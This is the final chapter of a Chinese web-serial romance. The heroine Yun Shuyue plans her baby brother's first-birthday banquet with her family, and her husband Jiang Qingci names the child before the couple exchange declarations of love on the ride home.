至于柳姨娘和云千雁嘛,自然是能多享受一刻锦衣玉食便多享受一刻,别的也想不到。 一家人里面,云舒月好似只能指望竹编摇篮里的那个弟弟了。 这般想着,她走过去,将摇篮里的弟弟抱起来。 她指着他鼻子道:“等你再长大些,我亲自教你读书。” 就不信她云家考不出一个举人来。 结果怀里的婴儿“哇”地一声哭了起来,云舒月连忙抖动双臂开始抖起来。 王姨娘忙站起身,想从她手里接过孩子。 “二小姐,我来吧。” 云舒月没给她,递给王姨娘一个让她安心的眼神,随后朝怀中婴儿又逗又笑。 “弟弟乖,不哭不哭。” 别的不说,弟弟的嗓门儿是真大。 这哭声之嘹亮,简直快要震碎云舒月的耳膜。 她忽然想起了什么,看向父亲:“弟弟的周岁快到了吧,当初满月就没办酒,周岁是一定要办酒的,父亲,你怎么说。” 云明旭摸了摸鼻子,他也不知该怎么说。 若是要办席,家中便要来无数的人,便会有无数的人看到他现在这副模样。 他不太愿意呢。 可儿子的周岁总不能不办的,没这个道理的。 还不等云明旭说话,云舒月拍了办:“不仅要办,还要大办特办。” 云明旭没说话,倒是把眼睛往林书柔脸上看去。 不光是他想不想办的问题,还得看家中主母的意思。 事情总不能他一个大老爷们儿办,更不可能让云二一个外嫁女来办,这成何体统。 见云明旭看她,林书柔把目光放在王姨娘身上。 王姨娘诧异指着自己:“我?” 林书柔点头,缓缓道:“你已经在学管家了,这次便好好学学如何操办宴席吧,以后这个家我也好放心交给你。” 说完微笑。 王姨娘做了半生的妾,给老爷育有一个女儿和一个儿子,人到中年,忽然被委以了这样的重任。 她实在是有些没想到呢。 云舒月也不愿为难自己母亲,便看向王姨娘道:“那就都交给王姨娘了,姨娘,若有缺银子的地方,只管找我替。” 云家刚刚安家,从前的家底子都被抄走了,如今的家底子都靠皇帝最开始的赏赐,江 家也送过来过不少东西。 一家人围在一起商量完这一件大事,又寒暄了一会儿。 云舒月觉得,自己家如今没有了当初在尚书府的那种感觉,却另有一番其乐融融的幸福感。 而她与家里人的关系,也比从前热络了许多。 到了下午,江清辞忙完手上的事情,来接她来了。 府中人都尊敬称他:“姑爷。” 王姨娘想留他在这儿吃晚饭,江清辞便留下了。 两人一同站在院中逗了会儿小孩儿,当初这孩子出生时,就是二人一同候着的呢。 王姨娘看着这一幕,像是憋着一句话要说。 却不好意思开口。 云舒月见她这般模样,便问道:“王姨娘,你想说什么?” 王姨娘扭捏道:“江三公子在这儿,想请江三公子给孩子取个字。” 云舒月笑道:“这有什么呀,姨娘直说便是。” 江清辞也笑:“既然姨娘请了,那我便好好想想。” 江清辞果真认真思索起来,云舒月托腮看他,觉得夫君容貌俊美,晚上回去定要多索几个吻。 “就叫,松乔吧。” “松乔”二字甚好,寓意他既如松柏坚韧,又如乔木挺拔。 一说起这个名字,云舒月就会想起那个雷雨交加的夜晚。 现在想起来,还真是有些怀念呢。 晚上二人一同乘马车回去,马夫在外面拉,二人在里头亲热。 云舒月横躺在江清辞的腿上,看着他的侧颜,觉得自己很幸福。 “清辞哥哥,亲我一口。” 江清辞便俯下身来亲她一口。 云舒月又指指两边脸颊:“都要都要。” 江清辞便俯下身去,将她抱起来些,左边亲一下,右边亲一下。 云舒月得逞后,眉眼完成两弯月牙,伸手勾住江清辞的脖颈。 将他往自己面前带。 郎君星子一般的眸垂下,月下玉面流光,肤凝霜雪,朱唇皓齿,容貌丹青难绘。 她拧着他的脸来回看,忽道:“江清辞,其实我从来没后悔过选定了你,其实我时常庆幸我选了你。” 江清辞眼中流转含情,凝神垂首:“我知道。” 云舒月又问:“那你呢,你后悔过吗?” 他待她那般好,她却好几次辜负。 江清辞从前也不知该如何说,但他此时此刻万分确定。 “我爱你,是我做过最对的事情。” 在许多人都说云舒月不值得他那般对待的时候,他也曾犹疑过,这条路走下来对他来说并不简单,有些时候很艰难,直到现在他才能真的开口确定地说:“我爱你,是我做过最对的事情。”并且他为此感谢她。 (正文完)